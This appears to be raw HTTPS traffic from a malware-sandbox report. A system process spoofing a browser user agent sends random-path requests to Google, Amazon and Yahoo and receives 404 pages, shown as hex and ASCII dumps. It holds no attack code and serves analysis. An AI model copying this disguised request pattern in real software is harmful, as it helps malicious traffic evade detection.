65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:53:55 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"Referrer-Policy: no-ref
2021-09-28 07:53:55 UTC	938	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26 65 72 72 5f 75 72 6c 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 6a 78 6a 76 72 78 39 62 31 46 6b 62 79 33 76 74 7a 30 39 36 25 32 66 72 62 66 42 6e 6b 74 74 67 76 63 5a 79 67 77 31 35 6e 33 69 32 63 34 72 71 38 38 77 67 36 6a 6b 69 6a 32 73 72 57 66 6f 35 70 25 32 66 27 3b 0a 69 66 28 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b 0a 20 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 70 3e 43 6f 6e 74 65 6e 74 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 75 6e 61 Data Ascii: <html><meta charset='utf-8'><script>var u='https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fwww.yahoo.com%2fjxjvrx9b1Fkby3vtz096%2frbfBnkttgvcZygw15n3i2c4rq88wg6jkij2srWfo5p%2f';if(window!=window.top){ document.write('<p>Content is currently una

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49799	142.250.186.70	443	C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:52:42 UTC	12	OUT	GET /favicon.ico?ad=300x250&ad_box_=1&adnet=1&showad=1&size=250x250 HTTP/1.1 Accept: image/png, image/svg+xml, image/jxr, image/;q=0.8, /*;q=0.5 Referer: https://www.msn.com/de-ch/?ocid=iehp Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: ad.doubleclick.net Connection: Keep-Alive
2021-09-28 07:52:42 UTC	14	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Vary: Accept-Encoding Content-Type: image/x-icon Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="ads-doubleclick-media" Report-To: {"group":"ads-doubleclick-media","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/ads-doubleclick-media"}]} Content-Length: 1078 Date: Mon, 27 Sep 2021 10:29:54 GMT Expires: Tue, 28 Sep 2021 10:29:54 GMT Last-Modified: Tue, 08 May 2012 13:08:06 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Age: 76968 Cache-Control: public, max-age=86400 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2021-09-28 07:52:42 UTC	14	IN	Data Raw: 00 00 01 00 02 00 10 10 10 00 00 00 00 00 28 01 00 00 26 00 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 4e 01 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 04 00 00 00 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 Data Ascii: (& N(
2021-09-28 07:52:42 UTC	15	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.3	49925	142.250.185.196	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:53:55 UTC	939	OUT	GET /ny27jAIfVJqrtqtrH9b7ewok3E8f/qtsuvwxsbVqerYQpr6aw50WmcQ/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.google.com Connection: Keep-Alive
2021-09-28 07:53:55 UTC	939	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1617 Date: Tue, 28 Sep 2021 07:53:55 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2021-09-28 07:53:55 UTC	939	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-se
2021-09-28 07:53:55 UTC	940	IN	Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brandin

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.3	49932	162.219.225.118	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:53:55 UTC	941	OUT	GET /0iuwzt5jtaQjblntvBD34x94V1ez/eHtuwkg5a5xam9ddbw7V96jsatl/568llo9E5U8di66r6sy3rihuh6ioyuduFmxQo7Y/jOopq606qx6YN0i78uL9gXso/uZsq2Eotwg3eabbrf6qiYqsHek4gr11g26dn60i78ggbB4v/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.amazon.com Connection: Keep-Alive
2021-09-28 07:53:56 UTC	941	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 897 server: Server date: Tue, 28 Sep 2021 07:53:56 GMT content-type: text/html permissions-policy: interest-cohort=() x-amz-rid: RA91D3WZS3ZGZYANDJR4 x-sdch-encode: 0 last-modified: Tue, 10 Aug 2021 22:12:21 GMT etag: "687-5c93bcbae3b40-gzip" accept-ranges: bytes content-encoding: gzip vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-Agent strict-transport-security: max-age=47474747; includeSubDomains; preload x-frame-options: SAMEORIGIN
2021-09-28 07:53:56 UTC	942	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 0e f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6c 18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e 1d 90 0e 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 0e d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed 1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 0c eb a1 a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9 15 51 46 a1 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 c5 9a 25 b7 3d f9 93 49 20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb 05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd Data Ascii: U]o6+,Yt=l{"(.W]}n"u=Pa9n{]1+:`Ch[`^kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<^<GjvOhu

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.3	49935	87.248.100.216	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:53:57 UTC	943	OUT	GET /5qxze318lf75pclBusixiz0cIJekccl8A420oA6u8whnw/2Rry2xqwlEVsiF64tpe3Rhov4wb8Wp79ttm2ear/mmzonv1a1lSYpfwxiShcLMzxXkgV1xigzSt/nw4k7ndygbbqw1b7szc67jc/wa5R7hLnhtfuUhwf9nx0aq44at42bKhqiblc/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.yahoo.com Connection: Keep-Alive Cookie: B=clggcmtgl5iga&b=3&s=a5
2021-09-28 07:53:57 UTC	943	IN	HTTP/1.1 404 Not Found date: Tue, 28 Sep 2021 07:53:57 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: private x-content-type-options: nosniff content-type: text/html; charset=UTF-8 x-envoy-upstream-service-time: 8 server: ATS Content-Length: 946 Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=f77be3dgl5igl&partner=; X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block
2021-09-28 07:53:57 UTC	944	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6c 67 67 63 6d 74 67 6c 35 69 67 61 26 62 3d 33 26 73 3d 61 35 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 33 3a 35 37 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:53:57 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"Referrer-Policy: no-ref
2021-09-28 07:53:57 UTC	945	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26 65 72 72 5f 75 72 6c 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 35 71 78 7a 65 33 31 38 6c 66 37 35 70 63 6c 42 75 73 69 78 69 7a 30 63 49 4a 65 6b 63 63 6c 38 41 34 32 30 6f 41 36 75 38 77 68 6e 77 25 32 66 32 52 72 79 32 78 71 77 6c 45 56 73 69 46 36 34 74 70 65 33 52 68 6f 76 34 77 62 38 57 70 37 39 74 74 6d 32 65 61 72 25 32 66 6d 6d 7a 6f 6e 76 31 61 31 6c 53 59 70 66 77 78 69 53 68 63 4c 4d 7a 78 58 6b 67 56 31 78 69 67 7a 53 74 25 32 66 6e 77 34 6b 37 6e 64 79 67 62 62 71 Data Ascii: <html><meta charset='utf-8'><script>var u='https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fwww.yahoo.com%2f5qxze318lf75pclBusixiz0cIJekccl8A420oA6u8whnw%2f2Rry2xqwlEVsiF64tpe3Rhov4wb8Wp79ttm2ear%2fmmzonv1a1lSYpfwxiShcLMzxXkgV1xigzSt%2fnw4k7ndygbbq

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.3	49936	87.248.100.216	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:53:58 UTC	946	OUT	GET /5plLtfbxrypimafaskbytFsHook1t3a0niuf/9643mz8cS6tdi7lgaabHevS46jibczkl8vdanMpodf3a/n1m1wNIspi2miN7Cukulmaneulmuqsn5/ewwL01YUYovls3aHyl/msM3dhGsffzncwxmlazIyjC4i67xsa4slkl0Olj/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.yahoo.com Connection: Keep-Alive Cookie: B=clggcmtgl5iga&b=3&s=a5
2021-09-28 07:53:58 UTC	946	IN	HTTP/1.1 404 Not Found date: Tue, 28 Sep 2021 07:53:58 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: private x-content-type-options: nosniff content-type: text/html; charset=UTF-8 x-envoy-upstream-service-time: 10 server: ATS Content-Length: 928 Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=0ljp5jpgl5igm&partner=; X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block
2021-09-28 07:53:58 UTC	947	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6c 67 67 63 6d 74 67 6c 35 69 67 61 26 62 3d 33 26 73 3d 61 35 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 33 3a 35 38 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:53:58 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"Referrer-Policy: no-ref
2021-09-28 07:53:58 UTC	947	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26 65 72 72 5f 75 72 6c 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 35 70 6c 4c 74 66 62 78 72 79 70 69 6d 61 66 61 73 6b 62 79 74 46 73 48 6f 6f 6b 31 74 33 61 30 6e 69 75 66 25 32 66 39 36 34 33 6d 7a 38 63 53 36 74 64 69 37 6c 67 61 61 62 48 65 76 53 34 36 6a 69 62 63 7a 6b 6c 38 76 64 61 6e 4d 70 6f 64 66 33 61 25 32 66 6e 31 6d 31 77 4e 49 73 70 69 32 6d 69 4e 37 43 75 6b 75 6c 6d 61 6e 65 75 6c 6d 75 71 73 6e 35 25 32 66 65 77 77 4c 30 31 59 55 59 6f 76 6c 73 33 61 48 79 6c 25 Data Ascii: <html><meta charset='utf-8'><script>var u='https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fwww.yahoo.com%2f5plLtfbxrypimafaskbytFsHook1t3a0niuf%2f9643mz8cS6tdi7lgaabHevS46jibczkl8vdanMpodf3a%2fn1m1wNIspi2miN7Cukulmaneulmuqsn5%2fewwL01YUYovls3aHyl%

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.3	49938	142.250.185.196	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:53:59 UTC	948	OUT	GET /qv3ia8eoIR2XnA4unvit9uMeHm9f8pwemSy6p4mfmu3rmgk4/or3iwef3yx9jXo4OpjFrd/v170ubNvro7cr5ppFA7y3zrb1i/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.google.com Connection: Keep-Alive
2021-09-28 07:53:59 UTC	949	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1659 Date: Tue, 28 Sep 2021 07:53:59 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2021-09-28 07:53:59 UTC	949	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-se
2021-09-28 07:53:59 UTC	950	IN	Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brandin

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.3	49939	162.219.225.118	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:53:59 UTC	951	OUT	GET /ykvO2qxxd1yrlYBh6thdoahFh4lqdfrtvmjvto/etkaqls8gar4Mt80oihaQs/pv3hVtHg9dl7ngNph7qizd0i5bca6um0Er7fo/wYvKfbybg6k2x5ifkeDucmyLzraotIah4yeoBBkKna/gyszrjpSljYd3na69b3l4m8x2l11G7yPSIBk6lqxj/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.amazon.com Connection: Keep-Alive
2021-09-28 07:53:59 UTC	951	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 897 server: Server date: Tue, 28 Sep 2021 07:53:59 GMT content-type: text/html permissions-policy: interest-cohort=() x-amz-rid: NM0YCKVJ57X70XY2B20A x-sdch-encode: 0 last-modified: Tue, 10 Aug 2021 22:12:21 GMT etag: "687-5c93bcbae3b40-gzip" accept-ranges: bytes content-encoding: gzip vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-Agent strict-transport-security: max-age=47474747; includeSubDomains; preload x-frame-options: SAMEORIGIN
2021-09-28 07:53:59 UTC	952	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 0e f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6c 18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e 1d 90 0e 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 0e d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed 1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 0c eb a1 a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9 15 51 46 a1 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 c5 9a 25 b7 3d f9 93 49 20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 